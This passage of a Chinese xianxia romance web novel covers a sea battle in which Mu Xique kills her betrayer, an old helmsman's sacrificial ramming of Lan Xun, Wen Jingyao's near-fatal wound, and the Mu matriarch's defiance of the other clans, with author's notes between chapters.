一旁的燕家弟子道:“少主,先前重伤您的应当就是慕二小姐了,那人并未诓咱。” 燕如珩脸色沉静,看似毫无情绪,可瓷器碎裂的声音响起,弟子垂眸去看,只见他握着的茶杯已被捏碎,瓷片扎入掌心。 弟子噤声,不敢开口。 燕如珩垂眸,一拍桌子纵身跃出船舱,他先前修为不弱,梅枝雪替他接上灵根,似乎还帮他冲破了境界,此刻便已能提气,且修为比先前还盛。 慕夕阙刚解决完几人,倏然间,眸色一愣,侧身避开身后劈来的一柄长刀,她踹上一人,借力退出百丈,悬停在海上。 闻惊遥正跟人搏杀,瞧见后眸色一凛,旋身便要冲去,身前却又晃来一人,纪挽春已提刀堵在他身前。 “闻少主,急什么呢?” 燕如珩长身玉立,单手提剑,冲慕夕阙温和一笑:“小夕,我到底是哪里惹你不快了,为何要对我动手呢?” 他一来,那些弟子便退去,全数围攻闻惊遥。 慕夕阙站在远处看着他,目无情绪。 燕如珩只觉得一股火气在烧他的心肝肺腑,将他的理智都烧净,他踩着海面朝她走去:“我一直在想,你到底为何要对我动手,我并未薄待你,对你如珍似宝,可你却要杀我。” 他站定,面无表情:“小夕,我本来不想这般对你的。” 话刚落下,他急速冲来,刀剑风暴爆发,自他脚下划出水路,海水仿佛被分割,只一眨眼,他便冲到慕夕阙眼前。 长刀朝她砍来,映出他阴狠的眸子。 “看来还是得废了你,你才不会再咬人。” 慕夕阙向后弯腰,躲开他迎面砍来的长刀,绕至他身后缠斗,两人越打越远,皆被打进过海里。 闻惊遥始终关注着她那边的战局,纪挽春和几个鹤阶长老始终堵着他,不多时,他身上便留了不少伤。 他尚能静心应对,侧身避开纪挽春的刀,一掌打在他后肩。 灵舟内,阿宥看着激烈的战局,止不住恐惧的眼泪:“阿娘,他们……他们身上有伤,能赢吗?” 阿宥的母亲抱紧他,捂住他的眼睛:“能的……能的……” 她给了孩子安心的回答,却又无法安抚自己的心,她看着闻惊遥被一群人打进海里,慕夕阙和燕如珩也越打越远,逐渐远离视线。 这场战局有将近半个时辰。 她的手在抖,看闻惊遥再次跃出水面,迎上一名鹤阶长老,青衣在百人中闪现,那柄剑却不如最初迅捷,这少年已是撑着一股气在打斗。 而这次,纪挽春忽然闪现,一刀刺向闻惊遥的后心。 阿宥的母亲惊呼:“闻少主——” 铮—— 一柄黑色长刀从虚空掷来,撞击在纪挽春的刀身上,迸发的罡风将周围十几人掀飞,一个个落进海中,一人从虚空冲下,黑衣凛然。 事发突然,纪挽春执刀的手被撞击得发麻,正欲旋身迎上这莫名出现的人,刚一转身,闻惊遥不知何时闪至他面前。 眼前长剑一闪而过,喉口中有温热的血涌出,紧接着,是剧烈的疼痛和顺着伤口倒灌进来的冷风。 纪挽春捂着脖颈,艰难嗬嗬几声。 闻惊遥已收刀,将他踹入海内,他回身看去,蔺九尘神情冷然,身后虚空中,从那艘破烂的灵舟上跃下百人,转而加入战局。 阿宥扒开母亲的手,看到虚空那艘灵舟。 “祖父!” 掌舵老者垂眸,看到船舱内虚弱的儿媳和孙子,他闭上眼,长长叹了一口气。 闻惊遥与蔺九尘对视,他微微颔首,随后转身冲向远处,这里的战局便由蔺九尘接管。 慕夕阙已和燕如珩打出百里远,这一路上闻惊遥提着心,不知为何燕如珩的修为忽然暴涨,竟已有化神境的修为,而慕夕阙身上还有伤。 急速冲来的罡风让他清醒,闻惊遥远远看到两道身影同时落进海中,砸出了百丈高的水花。 “夕阙!” 闻惊遥奔去,纵身便要跃进海内,却被从海中挥出的剑光堵了回去,随后一人冲出海面,慕夕阙浑身湿透,金衫尾端有血水滴落,她拽住闻惊遥的手将他扯离。 闻惊遥回头,瞧见冲天的灵压爆开,血染红了这片海。 他反应很快,瞬间明白。 两人冲出百丈远,悬立在虚空,望向方才落水的地方。 慕夕阙的剑在滴血,她看着那片血水,忽然笑出来:“我就猜梅前辈这性子,怎会被他要挟?” 闻惊遥道:“梅前辈是替他接上了灵根,暴涨的灵力让燕如珩放松警惕,以为自己已痊愈,实际上前辈对他的灵根动了手脚,越是用灵力,丹田便越是澎湃,直到冲断所有经脉?” “嗯。”慕夕阙冷眼看着,“燕如珩死了,经脉寸断,尸骨无存。” 闻惊遥侧首看她,她的侧脸仍旧坚韧,被海水打湿的鬓发贴在脸侧,这身昂贵的金衫也已经破烂,从与燕如珩对战之时她便看出了燕如珩经脉的异常。 慕夕阙忽然看向他,说道:“像他看似冷静理智,实则自负自大的人,越是暴怒,便越是神志不清,他害我父亲惨死,设计攻我慕家,将我长姐抓去带给鹤阶囚禁,我想过无数次要杀了他。” 她长呼一口气,仿佛吐出了积压百年的恨。 “他是唯一背叛我的挚友,他死了,他终于死了。” 闻惊遥忽然上前,将她搂进怀里,他俯身抱紧她,下颌枕在她的肩头,两人衣裳皆都湿透,海风吹过只带来森寒冷意。 可闻惊遥在此刻,却觉得像是有什么东西从心口灌入,如春风过境,带来足以流通全身的暖意。 慕夕阙说燕如珩是唯一背叛过她的挚友,他又怎会听不懂她的话? “夕阙,我不会背叛你的。” 慕夕阙并未挣扎,也并未反驳,她被闻惊遥搂进怀中,身前是他微凉的怀抱,鼻息间萦绕的是淡淡的血气和草药香。 无端地,她有些怀念往日他身上的雪竹香,干净纯粹,这世上她只在他一人身上闻到过这种气息。 慕夕阙闭上眼,将额头抵在他的锁骨,低声道:“你若是敢背叛我,我一定将你千刀万剐,让你死得比燕如珩惨一万倍。” 作者有话说:收尾阶段可能更新时间不准,今天来晚了,给大家发个红包~ 明天加更~ 第85章 第 85 章 玉镯 蔺九尘带来的人很快便将鹤阶的人解决。 慕夕阙进去的时候, 医修刚帮闻惊遥上完药,见她进来,少年垂眸将敞开的外衫拢了拢, 耳根微红。 医修道:“二小姐,少主伤势不重, 梅医仙留下的丹药吃上两颗便可。” 慕夕阙颔首:“有劳。” 医修提上药箱离开, 知晓这两位怕是有话要说。 闻惊遥默不作声将外衫穿上,慕夕阙拉了个椅子坐在他对面。 “我方才问了师兄,燕家主宅被烧后, 百姓们对燕家颇有怨怼,赤敛燕家靠的是赔金弥错暂且安抚,燕如珩灵根断裂, 明面上如今燕家归燕琅所管, 可实权实则还在燕如珩手中。” 慕夕阙靠在椅中, 见闻惊遥低垂着眼系上腰封, 她便继续道:“如今燕如珩出事, 燕家三子全数殒没,怕是要乱了,大势已去不必在意, 我在想的是兰洵。” 闻惊遥喉口滚了滚,抬眸看过去:“你在想慕家老祖和兰洵的关系?” “我慕家老祖死前可是来过海外仙岛的, 这里有什么东西值得她撑着亏空的身体来一趟, 以及,为何金龙靠十二辰供给, 我始终在想这些。” 山灵选择成为玉灵,庇佑这一方地域后,便与天神分割, 此后它们的力量靠的是百姓的供奉,百姓的信仰越是强大,供奉它的人越多,这只玉灵便越强盛。 可唯独淞溪金龙并非如此,它有八成的力量来自于十二辰供给。 慕夕阙垂眸,自言自语道:“我只是不理解,为何十二辰只能认慕家嫡传血脉,为何金龙靠十二辰供给?” 船舱内安静许久,灵舟已启航飞向十三州,悬浮在宽敞无垠的海域上空,甲板上人多喧噪,船舱内却沉寂无声。 直到闻惊遥忽然开口:“夕阙,十三州高山不计其数,唯有琼筵山高出其余山峰一截,金龙也比许多玉灵都要强盛,这也是为何慕家身怀至宝,经商的世家却能在这诡谲的十三州留存万年的根源,你可有想过为何?” 慕夕阙倏然抬眸:“你说那座山?” “只是猜测。” 闻惊遥的唇色尚有些苍白,说话声音也不如过去清洌,慕夕阙皱了皱眉,倒了杯茶搁在他面前。 她没说话,可闻惊遥看着那杯热茶,唇弯了弯。 “多谢夕阙。” 慕夕阙并未多言,沉默了片刻,她开口道:“我步入筑基的时候昏厥过一阵子,你应当不知晓,那时我才四岁,你刚入清心观,我爹方去世几月,慕家乱成一团,我娘生怕有人对我不利瞒得格外紧。” 闻惊遥抬眸看她,他确实并未听说过。 慕夕阙继续说:“我幼时有些皮,阿娘总管着我不让我出琼筵山,那一日我独自上山,晕厥在后山,我娘说我跌进了山谷里,是金龙送我出来的,我昏厥了三月,整个慕家的医修都未查出昏厥的缘由。” 这些事怕是整个慕家也没多少人知晓,闻惊遥眉心微蹙,专注看着她。 慕夕阙道:“太早了,我依稀记得自己是闯入了慕家历任家主陵园,后来除了父亲的忌日,我阿娘禁止我去那里。” 两人隔着一张桌子对视,闻惊遥薄唇微抿,沉声道:“陵园里有什么吗?” “不知道,我以前认为是庇佑陵园的禁制,你如今提到那座山,才让我想起了这件事。”慕夕阙坐直身子,两人的距离近了些,“慕家老祖的尸身也在那处陵园内。” “小夕。” 闻惊遥还未回答,紧闭的舱门被敲响,蔺九尘的声音传来。 “此事回去再说。”慕夕阙简短终结话题,起身去开了门。 蔺九尘站在外头,面容冷肃:“十三州传来消息,任前辈出现在了去祭墟的路上。” 慕夕阙的脸色瞬间冷下:“他去了祭墟?” “天柱暂且未发现破碎,但就怕……”蔺九尘眉心微拧,看了眼慕夕阙身后的闻惊遥,“闻少主此番伤得极重,刚定魂,起码半年内不能动用天罡篆,若祭墟有异样,你一人如何压得住?” 慕夕阙皱眉:“先让人守着祭墟附近,镇守祭墟的都是些大能们,任前辈一人,他们应当能应付一阵子。” 蔺九尘轻叹了声,颔首应下,转身去了甲板前方。 “夕阙。”闻惊遥轻声道,“我会尽快休养,别担心。” 慕夕阙回头看他:“你的魂魄刚定,起码得歇上半年,否则再用神器,折损寿数,一定会导致你的魂魄不稳,又岂是你想养好便能养好的?” 她忧心祭墟的事情,说话也冲了几分,闻惊遥脸色未变,仍旧温和看着她。 慕夕阙别过头:“你先歇着吧。” 她起身去了前头甲板,那里有蔺九尘他们在。 闻惊遥垂眸,正欲关门,一只手伸了进来,他循着看去,是掌舵老者,那个船夫。 也是前世主动向他请求前去云川照顾慕夕阙的狱卒老者。 “闻少主,我孙儿开着灵舟,我能进去吗?” 闻惊遥后退一步:“请进。” 掌舵老者步子蹒跚,这两日他也未安心歇息,时刻不停地补船,走路略有些不稳,闻惊遥刚想扶他,他便抬起枯老的手制止。 “几日未换衣了,恐脏了少主的手。” “您多想了。”闻惊遥沉眸,抬手扶他坐下。 掌舵老者笑了笑,摇摇头:“少主和慕二小姐都是好人。” 闻惊遥在他对侧坐下,并未回答,垂眸为他添了一盏茶。 掌舵老者推拒:“喝茶便不必了,我来是有事请少主帮忙。” 闻惊遥道:“您说。” “我的族人只有三十多个,皆被掳走,无论他们如今是否还活着,可否请少主帮忙,托人去寻寻,即使是尸身?” 闻惊遥道:“您放心,在察觉陈家村人失踪后,慕、闻两家便已托人去寻了,兴许已有结果。” 掌舵老者松了口气,满面的愁容顿时便褪去半分,他看着闻惊遥,轻声道:“我此番前来还有件东西想交于您和慕二小姐,二小姐和蔺公子有事商谈,我时间不多,还是先给少主吧。” 闻惊遥蹙眉:“缘何时间不多?” 他们还未离开海外仙岛的区域,再有半刻钟便到了祭墟,穿过祭墟才是十三州的地域,他又为何说时间不多? 掌舵老者并未回答,他从怀中掏出个东西搁在桌上,金色丝绸是他浑身唯一的昂贵之物,这些年他靠着掌舵积攒了足以过上富足生活的金银,却并未用给自己,仍是一身麻衣。 唯有这包裹器物的绢布,能看出价昂。 闻惊遥接过,并未打开看,但能摸出这似乎是个玉质手镯。 掌舵老者颤颤巍巍起身,笑了笑,说道:“这镯子还请少主带回十三州。” 他站着,闻惊遥坐着,掌舵老者安静片刻,看着闻惊遥,声音陡然轻下:“这镯子啊,是个姓陈的人留下的遗物,我活了太久了,早就忘了她的脸了,唯一能做的只有保管好这最后一件东西,然后去赎我的罪了。” 这话云里雾里,闻惊遥听不太明白,看向掌舵老者离开的背影,脊背佝偻,满头华发,他瞧着像极了人间百姓九十余岁的模样。 前世他将解开缚仙索的灵钥给了慕夕阙后便自戕而死,这狱卒是那些年里唯一照顾慕夕阙的人。 掌心的丝绸绢布包裹的玉镯周身有温润气息,纵使他并未打开看,也能觉出这玉质不错,价钱昂贵,以及—— 闻惊遥皱眉,这股清亮纯粹的气息,并不像是玉器,更像是玉灵之力。 这玉镯里有一只玉灵留下的力量。 这玉镯的主人姓陈,这位陈姓老者说他有未赎完的罪。 闻惊遥起身疾步往外走,方打开舱门,整艘灵舟忽然调转方向,急速冲向海面,重重砸落在平静的海域上,舟身前行,将海水分割成两边高有几十丈的水帘。 甲板上传来惊呼,弟子们慌忙抱紧一旁的东西站稳,有人跌进海里,又有弟子赶忙将他们捞上来,闻惊遥一路上扶起不少摔倒的人,冲向甲板前方。 慕夕阙也扶着栏杆站稳,见他出来皱眉道:“你的伤方包好,进去!” 闻惊遥几步上前,将绢布塞给慕夕阙:“夕阙,这是船夫给我的东西,主人姓陈,这只玉镯里有玉灵的气息,分外强大,那老者还姓陈——” 话还未说完,整艘灵舟的后端掀飞,像是船底有什么东西抬起了灵舟,后端的弟子们陡然摔落向下滑去。 在灵舟前段的慕夕阙由于惯性身子后仰,险些从围栏翻过去,被蔺九尘和闻惊遥一把抓住胳膊又拽了回来。 慕夕阙冷着脸,宛如上坡般迎着已快成竖立模样的灵舟跑向后舱,一抬手结出灵阵压在后方甲板,蔺九尘和闻惊遥紧随其后,几道灵阵压下,将被抬起的灵舟压下,陡然平稳。 远处的海域中,一人从海底跃出,悬停在虚空之中。 慕夕阙仰头看过去:“兰洵,他追过来了,就在灵舟底部。” 他将整艘灵舟从虚空拽了下来。 慕夕阙要向上冲,被蔺九尘拽住:“纵使他重伤,可毕竟渡劫修士,你与闻少主也重伤!” 灵舟上的弟子们快速站立,拔剑准备迎战。 兰洵负手而立,脸上那张兽脸面具在日头下闪着凛冽的光,他轻轻抬手,自他脚下的海域凝出硕大旋涡,仿佛有股无形的吸力将那一片的海水倒吸,凝出两道骇然水柱。 他厉然挥手,水柱如游龙冲来。 “结阵!”蔺九尘厉声道。 弟子们赶忙结阵,可结阵的速度也远比不上一个渡劫修士挥来的杀招,那两道水柱从百丈外用来,一息功夫便到了眼前,要将他们满舟的人掀飞。 慕夕阙刚拔出剑,正欲迎上殊死一搏—— 一艘灵舟从他们这艘灵舟的后端冲出,特制的灵舟加上禁制,不仅能穿过祭墟,畅游海外仙岛的虚空,且速度极快,一瞬千里。 它冲上前,迎上那两道水柱,速度停滞半分,舟体被迅速摧毁,可在掌舵室内的人却握紧舵盘,全然加速,让这艘灵舟发挥最后的用处。 灵舟撞碎两道水柱,冲向虚空的兰洵,那个脊背佝偻的老者不再是过去的朴素模样。 他满目赤红,厉吼道:“父亲,多年未见,你还记得我吗!” 兰洵瞳眸微颤,怔愣了片刻,便足以给这艘灵舟可乘之机,它撞向兰洵,灵舟尖端捅穿了兰洵的腰腹,整艘灵舟连带着兰洵一同砸入海中,炸开了百丈高的水柱。 事发突然,满舟的人尚怔愣着,悬浮在海面上的灵舟忽然起飞,速度极快,冲向远处的祭墟。 慕夕阙回身,阿宥在舱头掌舵,那个孩子哭着操控灵舟起飞,头也不回,不看自己赴死的祖父,只记得祖父交代他的话。 要驾驶这艘灵舟,将所有人送回十三州。 “夕阙——” “慕二小姐!” 惊恐的尖叫在慕夕阙耳畔炸开,她反应极快迅速避开,可一支从远处射来的灵箭在空中旋转,瞄准她的气息,竟随着她的躲避转了个方向,急速朝她冲来。 慕夕阙来不及结阵抵挡。 其实她如今的修为结出的阵术,也不足以抵挡这支必须见血的灵箭。 它穿心而过,鲜血喷溅在慕夕阙的脸上,有那么一瞬间,慕夕阙耳畔只听得到一阵嗡鸣的声音,眼前青影朝她砸落,她下意识抬手,可无力的手也撑不住他的身子,两人一同跌在甲板上。 灵舟在此刻冲进红光滔天的祭墟上空,慕夕阙透过闻惊遥的身影,看到从海中奋力跃出射出那一击绝杀灵箭的兰洵,似乎掏空所有力气,满身是血地跌进海里。 蔺九尘他们冲上前,却并不是在喊慕夕阙。 “闻少主,闻少主?闻少主!” 失去意识的人会十分沉重,慕夕阙觉得像是有万顷重的东西砸在她身上,她侧眸看去,闻惊遥纤长的睫毛阖起,两人侧脸紧贴,她的侧颈间全是他方才吐出的血,温热血腥。 慕夕阙抬手,在闻惊遥脊背上摸索,她摸到一支正在消散的灵箭,以及大片的温热,那支穿心而过的灵箭在他的后心留下了大块的血窟窿。 “……闻惊遥?” 作者有话说:这个狱卒老者不仅是掌舵的船夫,前文提过几次他姓陈呀,他和他的兄长能打造出穿过祭墟的灵舟,两个人都姓陈,陈夫人和兰洵收养的两个孩子就是随母姓,就是这两个来往十三州和海外仙岛的船夫,为啥能活到现在后续会写到的~ 放心放心,我们小闻没事,我们是he~ 今天写得有点不太满意,写了又删,加更明天补上,今天发个红包[撒花]《 》 85-90 第86章 第 86 章 云川牢狱 此番前来慕家是带了医修的。 背着药箱的医修匆匆赶来, 蔺九尘背着闻惊遥进了船舱。 医修赶忙道:“趴着放,趴着!心脏离后背近,我得看心脉!” 弟子迅速将床榻收拾好, 蔺九尘将闻惊遥放在榻上,医修坐在一旁剪开他的青衫, 瞧见伤口后面露难色:“这……这怕是……这怕是没救啊……” 蔺九尘急忙道:“您都还没诊呢!” 医修道:“一箭穿心, 心脉起码碎了七成,都不用诊。” “诊他。”慕夕阙走过来,将乾坤袋递给医修, “这是医仙梅枝雪留给我的丹药,您看看还有什么能吃。” 一听是医仙的东西,那医修脸色一变, 赶忙接过, 拔开塞子闻了个遍。 医修倒出几颗丹药给闻惊遥喂下, 看向慕夕阙道:“有医仙的东西, 兴许能试一试, 但在下也着实不敢保证,闻少主毕竟刚定魂。” 慕夕阙面容沉静,看不出半分慌乱, 仍从容道:“嗯,您只管诊治。” “在下要布医阵, 还请慕二小姐带人守好这灵舟。” “有劳。” 慕夕阙转身, 船舱里的人迅速撤退,弟子们站在甲板周围守着已布下医阵的船舱。 蔺九尘侧首看她:“小夕, 闻少主自幼便入清心观,耐霜熬寒多年,身子骨自然强健, 定不会有大碍。” 慕夕阙并未回话,她从方才便镇定自若,未有半分慌张,可蔺九尘无端能看出,她浮现于表面的从容之下,是隐约的无措和心慌。 两日未见,慕夕阙和闻惊遥似乎经历不少事,两人之间的隔阂虽未完全消除,却也不似过去的那般敌对。 灵舟已经穿梭在祭墟上空,底下万丈便是镇压了秽毒的祭墟,邪佞的红光令人心觉压抑,蔺九尘也不敢多看,而慕夕阙却能直视,她前世来过不少次,里面的路摸黑都能走。 灵舟即将穿过祭墟时,慕夕阙忽然道:“兰洵想杀我,是因为闻惊遥刚定魂,起码半年内不能动用天罡篆,若祭墟出事,能去镇压的只有我,那么杀了我后祭墟便无人能镇压。” 蔺九尘自然听得出来她的意思:“他要对祭墟出手?” “嗯。”慕夕阙颔首,“任前辈出现在去祭墟的路上,怕是不消停,兰洵应当也未死,渡劫修士不会死得那般容易,只是他如今被隔绝在海外仙岛,没有灵舟便无法穿过祭墟。” 她顿了下,见蔺九尘不说话,声音低了几分,自言自语道:“那狱卒老者的身份明晰,是当年兰洵和他夫人领养的孩子之一,我实在未想到他竟能活到如今,想必应是靠着玄武的力量,这玉镯里留有一只玉灵的力量,或许这只玉灵便是兰洵面具上雕刻的那张兽脸之主。” “只是玉镯方才在闻惊遥身上,被那一箭的余压击碎,如今也已碎成两半了。” 蔺九尘看着她的侧脸,从慕夕阙与闻惊遥订婚前,便宛如变了个人,沉稳冷静,慕二小姐的张扬恣意好似尽数褪去,如今在他们身边的是经历千锤万练的人。 未婚夫重伤濒死,她如今仍能冷静分析局面。 “小夕。”蔺九尘忽然开口,“你也才十七岁,有些事不该承担这般早,这些我们回去与诸世家商议,这些时日你休息吧。” 慕夕阙垂眸,望向下方的祭墟。 蔺九尘偏首看向紧闭的舱门:“会没事的。” 灵舟穿过祭墟,他们在傍晚抵达十三州,霞光晕染了大片天际,一座座山峰翠绿叠嶂,灵鸟盘旋,云雾缭绕,十三州与海外仙岛截然不同,这里没有太多的海,但有数不清的山。 灵舟落地,弟子们下舟自觉护在灵舟附近,慕夕阙独身站在甲板上,她看到远处东浔闻家的人已经赶来接应,又上来了几个医修进入船舱内。 慕夕阙在甲板上站到深夜,圆月高悬之际,舱门打开。 她回头看去,一位满头华发的医修拱手道:“慕二小姐,少主的命暂时保住了,可心脉断了太多,能不能醒来……老夫也不好说。” 慕夕阙颔首:“好,有劳了。” 医修叹气,背上药箱离开,身后的几个医修紧随其后。 闻家弟子上前,不多时,几人抬着个竹架出来,锦被盖住紧闭双目的闻惊遥,月色落在他身上,慕夕阙看过去,只觉得他的脸色白得骇人。 他们擦肩而过,弟子将闻惊遥带去了闻家的灵舟上,慕夕阙站着没动,蔺九尘却上前。 “小夕,跟着去看看吧,十三州的事你便先别操心了,方才我已与师娘说过。”蔺九尘沉默片刻,看慕夕阙始终垂着头,他叹了口气,低声道,“你的身子也亏空不少,你得休息,否则若祭墟出事,十三州才是真的无人可用了。” 这次慕夕阙应了一声:“嗯。” 她转身走向闻家的灵舟,弟子们见她过来,皆都松了口气,自家少主多黏这位慕家二小姐,有目共睹,她若是在,兴许少主的情况也会好些。 眼下不得耽误,闻家弟子赶忙驾驶灵舟驶向东浔。 慕夕阙进入船舱内,拉了个椅子坐在榻边,这里布了温养的医阵,有种淡淡的药草香。 他的衣裳被换过,慕夕阙的领口却还沾着他的血,前世她每次见他都是往死里打,恨不得捅死他,将他戳得千疮百孔,无论前世今生都见过许多次他受伤的模样。 过去她毫无情绪,能冷眼看着。 如今却又觉得,闻惊遥还是站起来,看着她的时候最顺眼,而不是这般躺在榻上,虚弱到随便来个人都能除了这位闻家少主的模样。 慕夕阙看了会儿,身子后仰靠进椅背内,一只手背搭在眼睛上,她长长叹了口气,浓重的疲惫让她觉得失了全身的力气,重生开始,他们便一直在受伤,虽然护住了不少人,却也失去了许多人。 灵舟驶向东浔,舱内沉寂- 朝蕴坐在主殿,自她而下左右两排,三十多把椅子坐满了人。 一位身着方家服饰的长老道:“朝家主,实非我们过度揣测,可近来流言四起,十二辰缘何只认慕家人为其一,慕二小姐暗中戮杀多人为其二。” 有人附和道:“自多年前便有人质问慕家,为何十二辰只认慕家人,可天罡篆却能择强为主,是否是慕家有意藏宝呢?” “且慕二小姐性子恣意过了头,纵使鹤阶有不对的地方,也应按十三州律法办事,岂能私自诛杀?” 朝蕴脸色阴沉,身后的慕家长老皆沉着脸,议事堂内乌泱泱站满了人,此番诸世家来琼筵山明面商议近来的流言,实则只是暗中声讨慕家罢了。 直到一位白发苍颜的长老笑了两声,开口道:“我们还听说,慕大小姐出了山。” 朝蕴倏然看向他。 那名长老半分不怵:“当年留下慕大小姐一命已是十三州开恩,而慕家也承诺会将慕大小姐囚禁到死,前些时日慕大小姐却出现在东浔主城,又去了海外仙岛,慕家当面一套背后一套,意欲何为?” “慕大小姐无令出山,慕二小姐作恶多端,朝家主您——” “闭嘴!”朝蕴单手拍桌,声音极大,满室寂静,她站起身居高临下看着这些或惊愕,或怨怼的人,这些年来对鹤阶唯唯诺诺,对十三州安危袖手旁观,如今倒是来逞强了。 “小晚的秽毒已除,无论你们信与不信,我绝不会再关我女儿,不服就来打,我看你能攻得进来吗?”朝蕴一反过去的好脾气,态度* 强硬,面露怫然之态。 “过去你们对慕家、对十三州不闻不问,如今打着持正为民的由头来讨我慕家要说法,闻时烨、旷悬、季观澜等人都是我女儿杀的,又如何?” 底下安静,不少人噤声不言,有些人被这般凶地对待已露出怒色。 “我夫君惨死,长女无端身染秽毒,怎么没见你们替我们慕家要个说法,什么按十三州律规办事,若当初我们去讨鹤阶的罪,怕不是当夜鹤阶便带你们这群走狗杀进慕家了。” 朝蕴看向左侧的一位长老:“您说呢,淞溪被攻那日,不是还有方家的参与吗?” 那名忽然被提及的方家长老脸色一变,略显僵硬道:“叛贼被鹤阶策反,带方家弟子攻山,我方家家主也并不知情,我们已向慕家赔金——” “赔的钱能换来我慕家惨死弟子的性命吗!”朝蕴一拂宽袖,卷起桌上的茶水砸去,滚烫的茶溅在那名方家长老的脸上,烫得人顿时捂脸叫喊出声。 “朝蕴!” “叫什么叫,你还敢踏足琼筵山,就不怕出不去吗?”朝蕴冷脸看着他,方家的弟子皆都拔剑,慕家弟子也以剑相对。 两方僵持,那位替方家声讨的长老见势不对,咬牙忍下烫伤的疼痛。 他抬手,示意身后的方家弟子收起武器。 方家长老笑起来,拱手道:“这实在是误会,误会一场,朝家主莫生气,若您还觉得不够,想要什么,我方家皆可商量。” 朝蕴冷嗤一声,收回目光,看向那些横眉冷对的各个世家长老。 “无论你们在这里堵多久,且要想清楚了,是否要跟慕家闹个鱼死网破,我们慕家有金龙坐镇,我长女灵根已修复,二女已入化神境,且手执十二辰,如今十三州正需十二辰吧?” 众人脸色一变,自然听得出来朝蕴的意思。 有人不甘心,怒怼道:“十二辰是天神赐予整片大陆的神器,便是海外仙岛都有使用的权力,你们慕家要私藏吗?” “私藏又如何,它只认慕家人,给你们也用不了。”朝蕴冷脸看他,“这些年关于慕家的流言不绝于耳,子虚乌有的事情,你们以讹传讹,我们若不坐实,岂不是白被骂了这些年?” 她一个家主公然说这些话,不顾及慕家身为世家大族的名声,竟有些无赖的模样,让这些世家长老吃了满肚子闷气,指着她哆哆嗦嗦抖着唇想骂,哆嗦半晌也不敢骂出来,生怕慕家真的要私藏十二辰。 那祭墟便要乱了。 朝蕴下颌微扬,站在高处冷睨他们,沉声道:“诸位长老远道而来,咱们争议了几天都未有结果,你们若还想吵便在山脚住下吧,一切用度慕家来给,若还想吵,明日继续,只是我女儿脾气不好是十三州出了名的,连我这个母亲也管不住她。” 她顿了一下,眼眸微眯,尾音拖长道:“若真惹恼了我们慕家二小姐,届时祭墟动荡,便劳烦诸位长老亲自去镇压吧。” 朝蕴说完,竟直接拂袖离开,看也不看身后乱成一遭的长老们。 姜榆跟过去,离议事堂远了些后,压低声音道:“师兄传信了,他正在赶回的路上,但师姐去了闻家……闻少主情况不妙,此遭怕是难过。” 朝蕴站定,面露悲色:“这孩子命大,有青鸾庇佑,定平安无事。” 姜榆垂下眼,无能为力,在这些事上帮不了任何忙。 朝蕴转身朝东南侧走去,边走边说:“交代你的事办好了吗?” “嗯,师娘放心,陈家村的人已经找到,我们赶在鹤阶动手前救下了他们。”姜榆颔首应道,跟在朝蕴身旁,“师大小姐回了青城师家,师老家主修为高强,已有大乘境,能与化祟的任前辈一战,老家主若愿前去暂守祭墟,情况便会好很多。” 朝蕴颔首:“好。” 她走到一栋阁楼前,对身后的姜榆道:“阿榆,你守着门外,我马上出来。” “是。”姜榆转身,背对阁楼,布下阵术防守,如今慕家有不少外人在,担心他们对慕从晚出手,阁楼外的阵术加强许多。 朝蕴推门进入,长女已经昏迷多日,她掀开珠帘进入内厅,以为会见到一个昏厥的慕从晚,可抬眸看过去,却对上一双温和漂亮的眸子。 慕从晚颔首道:“阿娘。” 朝蕴红唇微抿,交握的手无意识地抖起来。 她从未见过慕从晚脸色这般红润之时,自被切断灵根,女儿的身子便孱弱不足,酷暑的天也得穿上冬衣裹上披风,脸色常年苍白,咳血终年不绝。 可如今接上灵根后,她虽仍瘦弱,脸色却多了几分红润,不再是过去病恹恹的模样。 慕从晚刚醒来,却并未接上灵根的喜悦,她走过来问道:“小夕呢?” 朝蕴眨了眨眼,反应过来,匆忙撇去脸颊的泪,回道:“惊遥出了些事情,小夕在闻家。” “有秽毒……不,有祟种出没。”慕从晚语速极快,“方才醒来我便觉察出了,那只祟种强大到我能远在万里之外感知到他,他去往的方向是琼筵山的东侧。” 朝蕴道:“是,任前辈他逃了出去,有人看到他去往祭墟了。” “不是祭墟……不,也不止他一只祟种,有三只。”慕从晚急匆匆道,“看似去往祭墟,实际他们偏离了祭墟的方向,去的是祭墟的东南侧!” 祭墟的东南侧…… 朝蕴愣了下,脸色骤变:“云川牢狱!”- 云川牢狱距离祭墟不足千尺,处地下三千丈,三面环山,只有一条出路,终年森寒,偶见大雪。 因离祭墟太近,鲜少有人敢靠近这里,且这里的地形便是个天然的牢狱,三面环山难逃,仅剩的一条出路由重兵把守,峡谷上方刻有禁制,任谁进来都插翅难飞。 云川牢狱关押的皆是重犯,能犯下大罪的人,修为不低,寻常牢狱难以关押,只能遣送到云川。 今日森寒,寒风自山谷内穿过,几个送饭的狱卒裹了裹棉衣,又给自己布下几个灵火符。 “听闻前些时日祭墟动荡,有秽毒都险些逃到云川了。” “是啊,吓人得很,还好慕二小姐和圣尊前去镇压祭墟了。” “算了算了,那些事咱们也掺和不了,咱们镇守云川,就守住这些罪人便好,这些人出去啊……”一人摇了摇头,将脖子缩进立起来的衣领内,“一个个的,修为这般高,怕是天下大乱啊。” 有人嘀咕道:“不过他们既然犯下大罪,理应诛杀,为何不杀啊?” 一个脸圆的年轻小伙凑过去,小声说:“这些人修为高啊,能进来的起码都有元婴满境的修为,你知道不,尽头那俩牢里关的是谁?” “谁啊?” “一个是五百年前的药谷少主,一个是三十年前被关进来的人,俩人一个大乘,一个化神满境,都是鹤阶缉拿进来的,这等修士杀了岂不可惜,只能将他们关进来,日后说不定能用上呢。” “用上这些满手罪孽的罪人?”一个狱卒皱眉,“鹤阶疯了吧?” “那谁知道,说不定哪日改过自新,决定替十三州杀敌赎罪呢。”说话的小伙耸了耸肩,捂住被冻伤的耳朵,感慨道,“不过这些事咱们别操心了,好冷,赶紧收拾完回去歇息。” 几人拎着饭桶准备离开,两侧山壁上开凿出一个个洞穴,里头关押的都是这些年在十三州犯了累累罪业的人,他们几个修为才筑基的狱卒,在这高耸的山谷内着实渺小。 正走着,几人腰间的玉符皆都亮起。 一人接起来,对面的人匆匆道:“将云川的杀阵全数开启!” 狱卒皱眉:“什么?” 开启全数杀阵,整个云川牢狱内的罪人皆会被戮杀,这阵术是未防云川牢狱出意外,这些修为高强的罪人逃出去祸乱十三州,可这些年从未开过杀阵,根本无人敢闯云川,云川的罪人也逃不出去。 “快开!”对面的长老怒喝道。 